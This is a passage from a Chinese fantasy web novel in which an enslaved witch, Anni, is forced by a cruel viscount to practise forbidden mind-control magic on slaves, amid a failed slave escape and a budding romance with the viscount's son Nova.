安霓重重地摔在了地上,又撑着地面吃力站了起来,伸出手握住拳头,周身开始出现气流,出现的绿光从周围开始汇聚,又迅速的以漩涡状汇聚到安霓的拳头中,安霓笑了起来,红瞳泛着光,所有的绿光以数颗粒子的形态朝以利亚射了出去。
以利亚擦了擦嘴角的血,阴狠地看着她。
绿色粒子四面八方迅速朝他射了过来,以利亚身上被绿色的光包围,抱紧双臂,痛苦的蹲在了地上,嘴唇发白,脸色也瞬间灰了下去。
“安霓,快收手!”荻尔对着安霓大喊,“你杀了他,大人就会杀了你!快手收啊!”
安霓本身一肚子火,又见到以利亚这股傲人姿态就更加愤怒。
她像是没听见一样,持续地从她手里射出绿光。
而坐在旁边的女人早就吓傻了。
亚特还指望着她交差呢,时间成本已经进去了,就不可能轻易杀她,顶多让她受些折磨,反正都要受苦,还不如让他身边的人提前“享受”一下。
安霓嘴里的血越吐越多,脸色惨白。
周围的仆人看着安霓的样子,觉得安霓不行了,就立马从四周扑了过来,牵制住了安霓的两条胳膊,不知是谁一脚踢向她的膝盖窝,安霓重重地跪了下去。
以利亚灰色脸马上就要变得跟纸一样白了,白眼都要翻过去了,安霓被强制性停手了,他倒在地上大口喘着,看着十分痛苦,片刻就昏了过去。
安霓自己也不好受,头晕眼花,嘴里大片铁锈味,已经没有什么力气再去反抗。
“快,快把以利亚带回去!”荻尔大喊,然后跑到安霓旁边,说道,“你
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完了,大人肯定不会放过你!”
“怎么回事?”
诺瓦出现在大门外,正看到以利亚被抬了出去,安霓被两个人压在地上,其中一个人手上还扯着安霓脖子上的铁链。
“诺瓦少爷!”荻尔起身举了个躬,“诺瓦少爷,您不该出现。”
诺瓦无视掉了荻尔的话,直接走了进来:“老远就听到了以利亚的惨叫。”
他低头看着安霓,白色的袍子上大面积沾满了血迹,苍白的脸和马上垂下的眼皮,不满地皱起眉:“你们带他俩下去,我跟荻尔看着她。”
“是。”两个仆人放下了安霓的胳膊,然后带领剩下的人抬起了晕倒的男人,带着已经说不出话的女人离开了大厅。
诺瓦蹲下身扶住安霓,问荻尔:“怎么回事?”
“我劝过她了,她不听,把以利亚搞成这样,大人肯定不会放过她的。”荻尔解释道。
“父亲应该不会杀她的。”诺瓦说着,把安霓横抱了起来准备离开,“荻尔,带路。”
“是。”
……
初雪带来的寒冷悄然笼罩着大地,将子爵府邸装点成了一个银装素裹的世界。屋顶早已被厚厚的积雪覆盖,原本错落有致的瓦片此刻隐匿在一片洁白之下。
加斯贝德在等炖牛肉的间隙,正参观着兰伯特府邸。
带领他的仆从毕恭毕敬的跟在旁边。
不远处有几个人抬着一个黑衣服的人着急忙慌地快步走了过来,跟加斯贝德打了个照面。
一个男人白得吓人,高质量西装上还有大片血迹,抬着他的人脸色一个比一个差。
他认得这个男人,一直跟在亚特·兰伯特身边的那个执事,好像叫以利亚,不苟言笑,眼神犀利,总是戴着一副金丝边的眼镜。
曾经那个脸上没啥多余表情又精致的男人,此时此刻狼狈不堪。
抬着他的仆人们看到加斯贝德后,停了下来,举了个躬又匆匆忙忙地走了。
加斯贝德继续往前走,脚下的石板路,雪一大早就已经被清扫得很干净,只在石板的缝隙间还残留着些许细碎的雪花,宛如镶嵌其中的晶莹宝石。
他缓缓地呼了口气,在寒冷的空气中瞬间化作一团白烟,袅袅升腾而起,随后飘散。
诺瓦紧紧抱着奄奄一息的安霓,脖子上的锁链时不时发出声响,鲜血还在源源不断的从她的口鼻里滴落,洇湿了诺瓦白色外套。
加斯贝德看着他们迎面而来,停下来脚步。
“加斯贝德大人。”诺瓦看到他,停下来打了声招呼。
加斯贝德低头看着安霓,脸上瞬间沉了下来,他以为在船仓里的她已经是最狼狈的时候了,现在居然变成这样。
诺瓦紧了紧抱着安霓的胳膊,继续往前走:“加斯贝德大人,失陪了。”
“想不到你们兰伯特对奴隶倒是挺好的。”加斯贝德轻笑了一声,说道。
本来好不容易透出一点光亮的太阳,此刻竟又悄无声息地隐没在了厚重的云层之后,刚刚还带着些许暖意的天空,瞬间又被阴霾笼罩。
紧接着,细密的雪花纷纷扬扬的飘落下来。
诺瓦听出了他的阴阳怪气,停下脚步,侧身看着他:“加斯贝德大人,您心情不好。”
“呵,”加斯贝德沉着脸看向他,“魔女很狡猾,她们最会骗人。”
加斯贝德看向诺瓦怀里的安霓,墨绿色的眸子犹如深邃的幽潭,平静之下暗藏着汹涌的情绪。
“加斯贝德大人看来很有心得啊。”诺瓦不示弱的回应,低头看了一眼怀里的安霓,她半垂着眼,黑发凌乱的落在额前,“后院有喷泉,您可以去看看缓解一下心情,我先失陪了。”
“等等!”加斯贝德叫住了诺瓦,给旁边的荻尔扔了一个小袋子。
“月影团可能会随时遇到一些危险,每个人身上都自备了治疗药,效果很好。”
诺瓦还是有些警惕的看着他。
“我没有滥杀无辜的习惯。”说完,加斯贝德看了一眼安霓后转身离开了。
诺瓦带着安霓转身离开。
加斯贝德走了几步停了下来,默默地回了头。
雪越下越大,纷纷扬扬的雪花从灰暗的天空倾泻而下,他静静站在原地,望着诺瓦抱着安霓的背影,渐渐的,大雪愈发肆虐,如同一张巨大的白色幕布,无情地将诺瓦和安霓的身影吞噬。
加斯贝德的视线最终淹没在这茫茫大雪里。
……
7. 第七章
在子爵府某个偏僻的角落里,有几间用粗糙木板和破旧的茅草搭建而成的棚屋。
屋内潮湿的桌上立着一根蜡烛,随着寒风灌进来的节奏微微跳动,昏黄的烛火在逼仄潮湿的空间里摇曳不定,仿佛随时会被黑暗吞噬。
一群穿着土灰色袍子的男男女女围在桌前,一个个脸上严肃焦灼,最外侧有个少年守着大门,随时注意着门外的动静。
“是个魔女,黑发红眼,戴斯根本不是病死的。”一个壮实黝黑的男人开口。
“琼斯,没看错吧,魔女不都被剿灭了吗?”一个女人问道。
有个年纪很小的女孩趴在桌边,好奇的看着桌面上的蜡烛,似乎没听见其他人说的话。
琼斯摇了摇头,说道:“莫耶娜亲眼见到的,那个魔女被下令杀掉她丈夫。”
一个尖锐的女声响起:“为什么要杀掉我们!!”
“你声音小点,还嫌我们麻烦不够大吗!”琼斯伸出手指放在嘴前,比了一个“嘘”。
“琼斯,我们该怎么办,我们会不会一个接一个的被送去喂魔女?”
棚屋里的奴隶们一个个脸色都很难看,阴暗潮湿的棚屋内,弥漫着刺鼻的腐臭味和令人窒息的恐惧气息。昏黄的烛光洒在众人惊恐的脸上,映出他们眼中深深的绝望。
琼斯紧握着拳头,额头上青筋暴起,努力压制着内心的愤怒与恐惧。他缓缓站起身,目光扫过每一个同伴,声音低沉却带着一丝决然:“我也不知道接下来会怎样,但我绝不想就这样坐以待毙,等着被送去喂那个什么魔女!上回是戴斯,这回是阿鲁和莫耶娜,谁知道下回又是谁。”
“可是我们又能做什么呢!我们只是……”一个瘦弱的男人颤抖着说,整个人蜷缩在角落里,“我们只是奴隶,我们斗不过子爵的。”
“难道不反抗就有活路了吗!”琼斯提高了音量,“阿鲁现在还神情恍惚,莫耶娜寸步不离地守着他,因为缺勤连晚饭都没得吃,最后还是我们几个一人分了一点给他们。”
“这些年来我们遭受了多少折磨,每天没日没夜地干活,换来的却是吃不饱穿不暖,还要随时面临被打骂甚至被卖掉的命运。现在他们居然要把我们送去喂魔女,与其这样窝囊地死去,不如拼一把!”
听了琼斯的话,奴隶们的眼中闪过一丝光芒,但很快就被恐惧掩盖。沉默片刻后,角落里有个骨瘦如柴的老人缓缓开口:“琼斯,你的勇气我很佩服,可反抗谈何容易,他们有武器,有士兵,我们什么都没有。”
“要不,要不我们一起逃跑吧,只要我们齐心协力,先逃出这个鬼地方,再想办法对付他们!”蹲在门附近的少年开口道。
琼斯骤紧眉头,若有所思的说:“如果要逃跑我们只能往后山跑,可是已经入冬了,”他看了一眼趴在桌边专心看着烛火的女孩,“我们这里有老人和孩子,如果现在出逃,怕是熬不过这个冬天。”
“要不再等等,子爵向来讨厌魔女,上次那个魔女不也没了消息吗,说不定这个魔女也不会在这里呆太久。”
……
亚特拿着人偶娃娃,横着放在了燃烧的蜡烛上,火苗贪婪急切地舔舐着人偶的边缘。
安霓的背突然有股灼烧刺痛感,整个人差点从地上弹起来。
她惊恐地瞪大了双眼,双手下意识地摸了摸后背,那种疼痛尖锐而真实,仿佛皮肤真的被火舌扫过一般。
“在我17岁那年,亲眼看到一个魔女被架在火堆上,”亚特面无表情的看着手里的娃娃,并没有从火上拿下来的意思,“她很恐惧,那个时候我就知道,原来魔女也不是无所不能。”
后背的疼痛愈发强烈,她感觉自己快要承受不住了。豆大的汗珠从她脸颊滑落,嘴唇被咬的泛白,双腿也开始不受控制的颤抖。
安霓看得出来,亚特在为以利亚出气,听荻尔说,以利亚目前还下不了床,每日头疼欲裂,连觉都睡不好。
被诺瓦带回去后,珍珠怪她冲动莽撞,这样使用禁术,她本就不多的魔力存储根本耗不起。
但安霓却很开心,觉得自己干了一件爽到不行的事情,唯一的遗憾就是念头没有很好的植入到以利亚的脑子里。
她当时的打算是,如果植入失败,就顺带把以利亚弄成残废。
如果以利亚能被弄成残废,那假以时日,亚特也可以。
不过她的确也没捞着什么好,足足在床上躺了3天,身上疼得整夜都睡不了觉,后来刚能睡会觉,就被提溜到了亚特的书房。
“听说我那个不成器的儿子,对你挺好啊。”亚特继续烤着娃娃,依旧面无表情地缓缓说道。
“魔女总是喜欢用外表勾引人类,”亚特放下娃娃,招了招手,“带上来。”
几个侍卫压着两个奴隶进了书房,安霓认得他俩,那天在大厅里,被带过来供她练习禁术的一男一女。
阿鲁的神情依旧恍惚着,面无表情半垂着眼睛,仿佛对周身发生的一切都置身事外,莫耶娜双眼通红充满了绝望,脸上控制不住的露出恐惧神色,双手紧握成拳,看到安霓后,眼神从恐惧转变成怨恨,那目光犹如淬了毒的利箭,直直射向安霓。
“都是你!”莫耶娜突然嘶喊起来,声音尖锐又凄厉地划破了书房的安静。她胸膛剧烈起伏,情绪几近崩溃。
亚特突然起身,大步走向他们,抽出侍卫的剑,对着阿鲁的脖子就是一抹,大量鲜血喷溅而出,那温热的血溅到了安霓的脸上、身上,腥味瞬间弥漫在空气中。
莫耶娜瞪大了眼睛,撕心裂肺地叫了起来,她拼命挣脱侍卫的束缚,连滚带爬地扑向倒在地上的阿鲁。而阿鲁的表情还是跟来时一样,仿佛并没有经过任何疼痛。
莫耶娜一把将阿鲁抱在怀里,双手慌乱地捂住他脖颈处不断涌出鲜血的伤口,然而那鲜血却像汹涌的泉涌,怎么也捂不住,很快便浸湿了她的双手、衣袖,洇红了大片地毯。
安霓惊在原地,伸出胳膊朝莫耶娜走去,脚步虚浮迟缓。
“你还需要多少人因为你而死呢,安霓。”亚特今日并不像往常那样浮躁暴力,却比往日更加的残忍。
他静静地站在那里,眼神冷漠地看着安霓,仿佛眼前的一切生死都不过是一场无关紧要的戏码。
莫耶娜大哭着,嘴里一直说着安霓听不懂的话,安霓想这应该是他们故乡的语言。
“你最好老实点,如果再有任何反抗行为。”亚特的话没说完,就招手命人带这二人下去。
阿鲁的尸体被抬走,莫耶娜痛苦地哀嚎,想去抱住丈夫的尸体却被侍卫控制住了。
“哦对了,把这地毯扔掉换新的,都弄脏了。”
……
回去的路上,又开始飘零零碎碎的雪花。洁白的雪片从灰暗的天空悠悠落下,像是无数轻盈的蝴蝶在空中翩翩起舞,而后轻轻地落在大地上。
安霓抬头看了看天空,白色的雪点飘落在她眼前,她满脑子都是刚刚那大片刺目的红色。
这么纯洁的颜色,却要落在这么肮脏的地方。
安霓头一次开始有一种深深的无力感,感觉之前所有的想法和计划都在这一刻变得特别可笑。
诺瓦从不远处走了过来,一身白色的裘皮大衣,领口围着一圈柔软的毛领,随着他的步伐轻轻晃动。头上戴着一顶白色的毡帽,几缕棕色的发丝从帽檐下露出来,被雪花沾湿。
他手里又拎了一个袋子,靠近安霓时发出了瓶瓶罐罐碰在一起的响声。
诺瓦看向她的脸,发现了她脸上的血迹,皱起眉头问道:“又发生什么了,你又受伤了?”
他抬起手轻轻拂过她的脸,动作轻柔,生怕弄疼了她。
安霓垂着眼没看他,却在这一刻,心里突然涌出极大的情绪冲上她的头顶,鼻子开始发酸,积压已久的痛苦、愤怒、无助,如同决堤的洪水一般倾泻而出。
她崩溃地大哭起来。
她很想开口问问眼前的诺瓦,这个世界就是这样吗,还是她在失忆之前做了什么十恶不赦的坏事才落到这个下场。
可是她一开口,只有喑哑。
诺瓦看到这一幕突然开始手足无措,他伸出手想轻轻的揽住她,却停在了半空中,眼里满是纠结和犹豫。
一方面,他心疼安霓所遭受的一切,想要给她一些安慰和依靠;另一方面,又怕自己贸然的举动会引起安霓的不适,毕竟她刚刚应该是经历了一些可怕的事情。
最终,诺瓦咬了咬牙,缓缓将手搭在了安霓的肩上,动作轻得如同怕惊扰一只受伤的小鸟。
布雷克站在旁边轻轻叹了口气,却也没说什么。
“虽然我不知道你刚刚经历了什么,但是如果你需要我的帮助,我都会尽力帮你。”诺瓦轻轻的用手拭去了安霓脸上的泪,低头看着她。
“你看,”诺瓦打开手里的袋子,想转移一下安霓的注意力,“我又托人找了一些治嗓子的药,你回去看看有没有用,如果没用再告诉我,我再去找。”
诺瓦跟着布雷克,把安霓送回了房间,关门时,安霓回过头照例对他笑了一下。
经过安霓旁边的一扇门时,诺瓦下意识地往门上的窗户望了望。
窗户里像被搅动地水银一样,大片银白色有节奏地
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起伏着,除此之外,什么都没有。
……
这回安霓是真睡不着了。
她双脚激动的蹬着被子,又把枕头蒙住脸,恨不得憋死自己。
怎么会这样!怎么能在人面前哭成那副丢人现眼的样子!!
安霓一边疯狂的后悔,警告自己这是最后一次犯这种丢人的错误,一边又开始盘算着怎么拿到娃娃并且把亚特杀死。
珍珠说的没错,的确是太冲动了,她低估了亚特的残忍。
她起身,狂躁地揉了揉自己已经凌乱的头发,生气的拿起桌上的禁书。
诺瓦送的第一批药,安霓那几天一股脑全喝了,嗓子其实已经可以说话了,但是声音沙哑,甚至有的字会发不出声音,这第二批药,安霓依旧整齐的摆在桌上,计划着每天拿一瓶喝,说不定等喝完了嗓子就好了。
安霓趴在书上,看着密密麻麻的古老文字,说白了还是因为自己太弱小了,没有很厉害的魔法知识,知道的咒语也少之又少,存储的魔力更是少得可怜,随便施展几次就像快死了一样。
她拿起本子,敲了敲墙壁。
【再教我一些吧,比如那种能把人搞晕,隐形,飞檐走壁之类的】
珍珠沉默一会,便说:“有些体系的魔法有这方面的学习。”
“魔女没有你想的这么全能,一个人只能学一种体系的魔法,我学的是元素控制里的土系,我母亲也是,我们住在城镇时,她会经常带着我,去接一些大型石块的搬运和建筑修复之类的活来维持生计。”
【那如果再学一个会怎么样?】
“会有一些负面的情况,具体的我也不清楚。不过你说的什么隐身,飞檐走壁,我的确没这方面的能力。”
“上次教你的一些基础的攻击和防御,每个魔女家庭都会教给自己的孩子,这是最基础的东西。”
【那这本书里的内容算不算一个体系的内容,如果算,那是不是说明我之前根本啥也不会,不然早就会出现一些负面影响了。】
“有这种可能。”
安霓像泄了气的皮球一样,失落地摊在了椅子上,她本来灵光一闪,想着她可以通过隐身并且搞晕周围的仆从侍卫,然后近身亚特去偷娃娃。
还真是灵光一闪啊。
现在这么废物就算了,想不到以前也是个废物。
她的心情差到了极点,猛得一起身,踹倒了凳子。
外面飘的小雪并没有变大的趋势,某个位置,穿着华丽裙子的女孩抱着一只兔子玩偶,向另一个满脸灰尘摔在地上的女孩伸出了手。
……
莫耶娜面如死灰地出现在安霓面前,一双眼睛毫无生气的看着她,跟上次对她大叫的女人判若两人,看来丈夫的死对她打击极大。
大厅里,仆从换成了侍卫,把安霓和莫耶娜围成一个圈,侍卫们身着厚重的铠甲,腰间带着佩剑,冰冷的金属光泽给整个大厅增添了几分压抑的气氛。
安霓默默的抬起手,轻轻的放在莫耶娜的眉心和太阳穴上,嘴里默念着咒语,周围的空气转动,发出低沉的嗡鸣声,绿色的光丝一点点注入到莫耶娜的太阳穴里。
可这次,安霓明显感觉到莫耶娜的脑内,没有任何对抗她的意识,像一个空杯子慢慢倒进了水,顺利丝滑,没有一点阻碍。
书里明确说了,新的东西涌入,人的意识会不自觉地进行对抗,会让被施咒人感到无比的痛苦,轻者头痛欲裂几个月,重者脑死亡。
如果想顺利控制对方的意识,有个必要的前提就是施咒人的魔力之强大,魔力存储之多,或者被施咒人失去了神识,又或者被施咒人失去了所有的自我意志,沦为行尸走肉。
而失去自我意志,等于失去了求生意志。
安霓看着她的双眼,空洞无神,没有了当时的恨意和哀怨,甚至面对安霓连恐惧都没有了。
安霓重新植入了新的念头:忘记自己的丈夫死亡之事,并且释怀丈夫死亡所带来的痛苦。
没一会,莫耶娜的颜色逐渐有了点高光,她和安霓对视,看着那对红瞳,突然瞪大了眼睛开始惊恐的尖叫,周围的侍卫被吓了一跳,准备上前去按住莫耶娜。
安霓突然明显感觉到莫耶娜的脑内有一股意识在跟她对抗。
很好,她恢复了自我意志。
安霓放下了手,转头给旁边的仆从打了一个“ok”的手势,而这个仆从会将安霓的反馈带给亚特,让亚特知道目前她没有不听话,练习也是有成果的。
回去的路上,安霓蹲下身拿了两块薄薄的石头握在了手里。
……
8. 第八章
自从亚特知道了自己的儿子对安霓有很多关心行为,就把诺瓦叫过来劈头盖脸一顿骂。
诺瓦冷着脸一言不发地接受亚特的谩骂,而坐在圆桌另一边的阿黛尔依旧冷漠的喝着茶,眼皮都不抬一下的,仿佛处在另一个世界。
她最近很苦恼,女儿茉莉还是很喜欢到处跑着玩,贴身女仆西勒有的时候一转头,小茉莉就不知道跑哪去了,导致西勒总是被阿黛尔指责没看住小姐。
可是每次阿黛尔气急了,想重罚西勒时,小茉莉又不知从哪里溜了出来,护在西勒身前替她求情。
想到这里,阿黛尔叹了口气。
窗外入目的雪景宛如一幅笔触细腻的古典油画,明亮且深邃,透着一股别样的雅致韵味。
书房内温暖如春,炉火在壁炉中噼啪作响。
阿黛尔微微抬起眼,不着痕迹的瞥了一下端正站姿的诺瓦。
灰色的茂密头发,双眸也是如幽谭般的灰色,跟亚特如出一辙,跟他母亲的完全不一样。
但他五官却精致细腻,眉眼如黛,鼻梁挺直,一眼望去的确还是更像他母亲一些。
阿黛尔优雅的端起茶杯,动作轻缓而从容,目光淡淡地朝正在暴躁发怒的亚特看去,眼神里带着若有若无的审视。
不知道他每次看到诺瓦的时候,心里在想着谁……
这么多年过去了,阿黛尔偶尔还是会梦见诺瓦的母亲,梦见那晚,那个女人亲眼在门外看见□□的亚特,还有惊慌失措下将枕头紧紧盖在身上的自己。
那个女人绝望的眼神总是出现在她梦里。
那个时候诺瓦好像是刚出生吧,她记不得了。
总之那是最后一次见到那个女人,之后丢下诺瓦直接消失了。
后来亚特娶了自己,又过了很久才生下茉莉。
而且阿黛尔也很想知道,亚特第一次见到安霓时,心里在想些什么。
“那种低贱的血脉是不可能跟你在一起的,她们天生就狡猾,你被她骗了!”亚特因愤怒而涨红的脸,大声对诺瓦吼道。
诺瓦淡漠的表情没有因自己父亲的愤怒有一丝变化,依旧沉默的站在那里。
“她在骗你,她在利用你,她之后肯定是想让你来偷她那个娃娃!”
“魔女最擅长用她们那张脸来骗取人类的信任。”
诺瓦依旧不语,亚特说累了,停了下来,端起桌上的茶杯喝了一口。
“父亲看来很有经验。”诺瓦开口道。
这话如同一颗投入平静湖面的石子,瞬间打破了原有的宁静。
亚特原本还在竭力压制着内心的情绪,听到这话后,整个人猛地愣住了,脸上的表情瞬间凝固。刚刚好不容易才勉强压下去的怒气,此刻像是被点燃的火药,“噌”的一下又腾腾升起,几乎要冲破他的理智防线。
他双眼圆睁,怒目而视,紧接着毫不犹豫地大步朝着诺瓦跨去,在靠近诺瓦的瞬间,他以极快的速度高高抬起手,手掌因用力而微微泛白。
阿黛尔依旧轻轻品着茶,斜眼看着他们。
这一巴掌终究没落下去。
亚特气急败坏的揉了揉头发,转身冷静了一下。
诺瓦依旧面无表情的站在原地,貌似并没有被刚刚父亲的举动吓退半分。
“罢了,你也这么大了,我会给你安排联姻。”
一直表现颇为淡定的诺瓦瞬间有了强烈的反应,他双眉紧蹙,目光里满是抗拒:“不行!”
“这由不得你,”亚特加重了语气,“你好好的回你的房间呆着,不准擅自出来。”
……
安霓最近一直在加强对意识操控的学习。
她决定不能把希望放在诺瓦身上了,最开始的计划是通过诺瓦来得到那个该死的娃娃,但是跟诺瓦见面了这么多次,亚特肯定是有所察觉,他是不会允许自己的儿子对魔女示好。
所以他也肯定会想到她可能会利用诺瓦来实现自由。
安霓看着书上的内容发愁,如果能同时控制很多人的意识就好了,这样就可以操控很多人来帮她拿到娃娃。
虽说是禁术,但是既然学了,就学以致用。她自认为自己没有那么多架子,不会因为是禁术就搁置,也不会因为用了禁术而愧疚和不安。
她至始至终只需要一个自由,为了这个自由她一定会无所不用其极。
不过,如果她真的把禁术用的很好,那岂不是以后可以干很多事情。安霓想到这一点就捂着书开心的笑了起来。
既然是这样,以后就不要跟兰伯特家的少爷有什么牵扯了,这本书的内容可比诺瓦有用多了。
“你很开心。”珍珠温柔的声音响起。
安霓起身趴在书桌前,打开本子,坐在椅子上的双脚不安分地来回晃动着。
【如果有一天我自由了,我一定会想办法回来救你出去。】
珍珠轻笑:“好,小疯子的承诺我肯定信。”
意识操控跟虐杀不一样,但是比灵魂虐杀更有用,安霓摊开书继续读里面的文字,仿佛那些文字能带她飞向更高的地方。
静谧的氛围中,门外忽然隐隐传来一阵闷闷的人声,隔着门那声音模糊不清,却又确凿无疑地昭示着有人到来。
安霓起身走到门旁,微微侧过身,将耳朵轻轻贴在门上,试图捕捉门外哪怕最细微的声音,努力想要听清门外那模糊对话的每一个字。
原本紧闭的门毫无预兆地骤然敞开,伴随着“吱呀”一声轻响,吓得正全神贯注贴耳倾听的安霓心脏猛地一颤,身体不受控制的后退了一步。
一道挺拔的身影出现在门外,白色的大衣沾上了尘土,靴子上也有湿漉漉的泥土,显得有点狼狈。
诺瓦看到安霓的那一刻,原本黯淡疲惫的眼眸里陡然亮起一抹光,然后微微皱眉,拖着一条腿一瘸一拐缓缓走了进来。
安霓惊讶地看着他。
诺瓦露出笑容:“不请我进去坐坐吗?”
安霓看了一眼他的腿,立马反应过来,扶着他坐在了自己的床上。
“少爷不要呆太久。”门外的布雷克看着诺瓦,轻轻叹了口气,然后关上了门。
安霓坐在了他的旁边,指了指他的腿。
“啊,我翻窗户出来的,跳下来的时候把脚崴了,”诺瓦笑着说,仿佛这一切不是发生在自己身上一样,“不过已经没事了,不疼的。”
安霓怔怔地看着他。
“哦对了,”诺瓦像是突然想起了什么,脸色浮现出明快的笑意,他微微侧身,从怀里掏出了一本书,拍了拍封面,递给了安霓,“我看这本书的时候觉得挺不错的,想分享给你,就过来找你了。”
一本厚重的画册,封面像是一副精心装裱后的油画,纯棉画布为底,上面的纹理看着细腻又质朴,上面画了一片连绵不绝的雪山,山峰错落有致,最高的那座雪山的峰顶直插云霄,一眼看上去非常磅礴。画上盖了一层薄薄的玻璃,外圈有金属框架装订着,看着精致又贵重。
安霓手里掂量了一下这本画册,还是挺重的,她看了一眼诺瓦,皱起眉头翻开画册。
第一幕就是封面上画的那个雪山,不过画的角度不一样,却也更细致,旁边还有标注:踏北之旅。
“这是一个画家环游世界时记录的内容,他一个人一直在往北走,把所见都画了出来。”诺瓦微微侧过身,将身体倾向安霓,两人一同专注地看着摊开的画册。
往北走?北边有什么?安霓思索了一会。
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自从她失去了记忆,连地图板块都不记得了。
诺瓦见安妮没反应,伸出手,动作轻柔的翻开下一页:“北边有几个别具风情的小国,那些国家都伫立在雪山里,你看,”诺瓦修长的手指轻点在画册的一处,“更北的地方还有一片海,那里的沙子都是黑色的。”
安霓是有点惊讶的,她的记忆目前只有这一亩三分地,诺瓦带来的画册的确让她开了眼界。
她从未见过巍峨壮丽的雪山,也没见过波澜壮阔的大海,更没见过铺满黑色细沙的沙滩。
此刻,画册上的画面在深深的吸引她。
白色的海浪翻涌奔腾,带着一往无前的气势重重地拍打在黑色的沙滩上,洁白如雪的浪尖与深邃如墨的沙滩相互碰撞,形成了极为鲜明的对比,这强烈的视觉冲击力仿佛一道光,直直地照进了安霓内心深处。
自由的味道。
如果她能出去,不对,她一定能出去,出去以后一定要去亲眼看看这画册里的一切。
诺瓦抬起眼静静的看向安霓,看着安霓一页页翻着画册,每翻过一页,她眼中的光芒便愈发明亮几分。
注视着这样的安霓,诺瓦只感觉自己的心脏像是被一只无形的手轻轻揪住,而后开始不受控制地咚咚直跳。那跳动的节奏越来越快,仿佛想要冲破胸腔,向全世界宣告此刻内心的慌乱与悸动。
我宣布,这本书的画家,以后就是我的偶像!安霓心情激动的想。
突然,一个吻,仿若一片飘零的花瓣,轻轻落了一下她的嘴角,带着一丝难以言说的温柔与小心翼翼。
安霓顿时像被施了定身咒一样,惊愕的瞪大了眼睛,原本沉浸在画册中的思绪被这突如其来的举动拉回了现实,她下意识地回头望去,目光所及之处,正好对上了诺瓦炙热的目光。
安霓的心猛地一颤,原来在自己专注翻看画册的这段时间里,他一直在静静地看着她,目光从未有过片刻移开。
诺瓦像是被电流击中一样,瞬间回过神来。
意识到自己刚刚的举动,他的耳朵以肉眼可见的速度红了起来,紧接着红晕迅速蔓延至脸颊,整张脸变得滚烫。
他慌慌张张的立马站了起来,动作急切又狼狈,崴的那个脚貌似也感觉不到痛了。
“那个……那个很晚了,我先走了。”诺瓦一瘸一拐的开了门,头也不回的走掉了。
安霓瞪大眼睛愣神,静静地看着走出去的诺瓦和一脸懵逼的布雷克。
可是,你的书忘记拿了……
……
当晚,诺瓦躺在床上,辗转反侧难以入眠。黑暗中,他的身体不断地翻来覆去,被子被折腾得凌乱不堪。
此刻,他的脑海就像一部不停播放的放映机,画面一帧接着一帧,而每一帧里全都是安霓看书时候的模样。
那双大大的眼睛,清澈明亮,透着对画册内容的好奇向往;长睫毛宛如两把精致的小扇子,随着她的眨眼动作忽闪忽闪的,每一次颤动都仿佛撩拨在诺瓦的心弦上。
诺瓦越想,心跳的越快,最后直接将红透的脸埋在了被子里。
另一边,安霓也没睡着。
诺瓦当时的行为在她脑子里反复播放,她不太明白,他是爱上她才亲她的吗?
不会吧?!本来想着等嗓子好了以后,就不再招惹诺瓦,结果他就为了给她带本书,翻了窗户,还崴了脚,这么厚的书放在怀里,不重吗?
他又为什么要翻窗户,是被关禁闭了吗?
安霓的手上玩弄起那两片薄薄的石头,手指摩梭的抚摸着上面的纹路,思考着今晚发生的事情,然后没两分钟,就沉沉的睡去了。
而那本画册,跟皮革禁书并排的摆在桌上。
……
9. 第九章
出逃未果的奴隶们被围堵在棚屋外,火光照亮了夜色,熊熊燃烧的火把在奴隶主爪牙们的手中挥舞,将四周照得如同白昼,每一个奴隶惊恐的面容都暴露无遗。
琼斯后面的一个女人紧紧的把女孩贴在怀里,女孩貌似也感觉到了气氛的不对,也捏紧了自己的小拳头。
“跑啊,怎么不跑了?你们这群不知死活的家伙!”管家骑在马上,满脸得意与凶悍,大声嘲笑着奴隶们,他手里握着一条长长的马鞭,随意的在空中比划,那架势仿佛随时会将鞭子狠狠的抽过去。
奴隶们挤成一团,紧紧挨着彼此,试图从同伴那里获取一丝温暖和力量,也不知道是谁走漏的风声,他们布置了周密的计划,刚想行动就被一堆侍卫带着刀,举着火把围住了。
最前面的强壮的琼斯看着管家,解释道:“冬天了,我们也不想走,但是大人总是把我们送到魔女那里,已经连续死了两个人了,谁知道下一个会是谁被送过去!”
“大人自有大人的决断!”管家并没有听他的解释。
琼斯心急如焚,向前跨了一步,却被旁边的侍卫用剑拦住了:“管家先生,麻烦您向大人转达,我们实在是害怕啊,难道就该这样不明不白的去送死吗?”
“是的,我们要求杀掉魔女!”
“杀掉魔女!”
“杀掉魔女!!”
奴隶们的声音高昂起伏,一个个脸上充满了绝望和愤怒。
管家刚想扬起马鞭打在琼斯身上,身后就传来子爵的声音。
“杀掉魔女?”
火光中,亚特带着一群仆从和侍卫从后面出来,身旁还有一个带着黑色兜帽和长披风又看不清长相的人。
“真是不得了了现在的奴隶,”亚特跟旁边带着兜帽的人说笑起来,“奴隶还能谈条件了?这是我今年听到过最好笑的笑话。”
“把她带过来,”亚特转身给旁边的仆从下令,然后又转脸对着戴着兜帽的人满脸笑意。
安霓看到了这个场景有点惊讶,火把照亮了这个夜晚,一群奴隶被侍卫逼到了墙角,她出现后,又全都愤怒又恐惧的看着她。
怎么?今天要让我大开杀戒吗?她心想。
戴着兜帽的神秘人看到安霓后身体僵了一下。
亚特走向安霓,弯腰在安霓耳边威胁道:“好好的表现,不然你就再也见不到诺瓦了。”
随后他笑盈盈的给神秘人介绍起来,并奉承了一下神秘人背后的那位大人。
安霓想看清兜帽下的面容,可是兜帽戴的太低了,只能看到神秘人下巴上有一道明显但是不长的疤,像是被什么利器直接捅进去的感觉。
神秘人察觉到了安霓窥探的眼神,身体又开始僵直,胸前开始起伏,仿佛呼吸急促起来,垂下的手隐隐发抖。
这人怕不是有什么毛病。
虽说亚特并没有知情权,但是这些日子的观察,他大致也能猜到安霓学的是门什么魔法了。
他下令,琼斯被压了出来,又随意挑选了一个女性压了出来。
“你知道该怎么做。”亚特给她使了使眼色。
琼斯身上的肌肉紧绷着,他一直算是奴隶们的主心骨,身材高大,又十分有主意,此时此刻他还是想表现出一副什么都能抗住的样子,但是他对视上安霓的眼睛后,还是掩不住脸上的绝望。
而被压上来的女人,居然还是莫耶娜。
这女人也太倒霉了吧。
安霓看着他俩,又看了看亚特,大概也知道亚特想让她干嘛了,他要她控制其中一个杀掉另一个,然后再由她杀掉剩下的那一个。这样就完成了交付,而旁边的那个戴着黑色兜帽披着黑色披风的人,应该就是来验收的。
看来亚特没有自己想的这么笨。
但是,也没聪明到哪去!
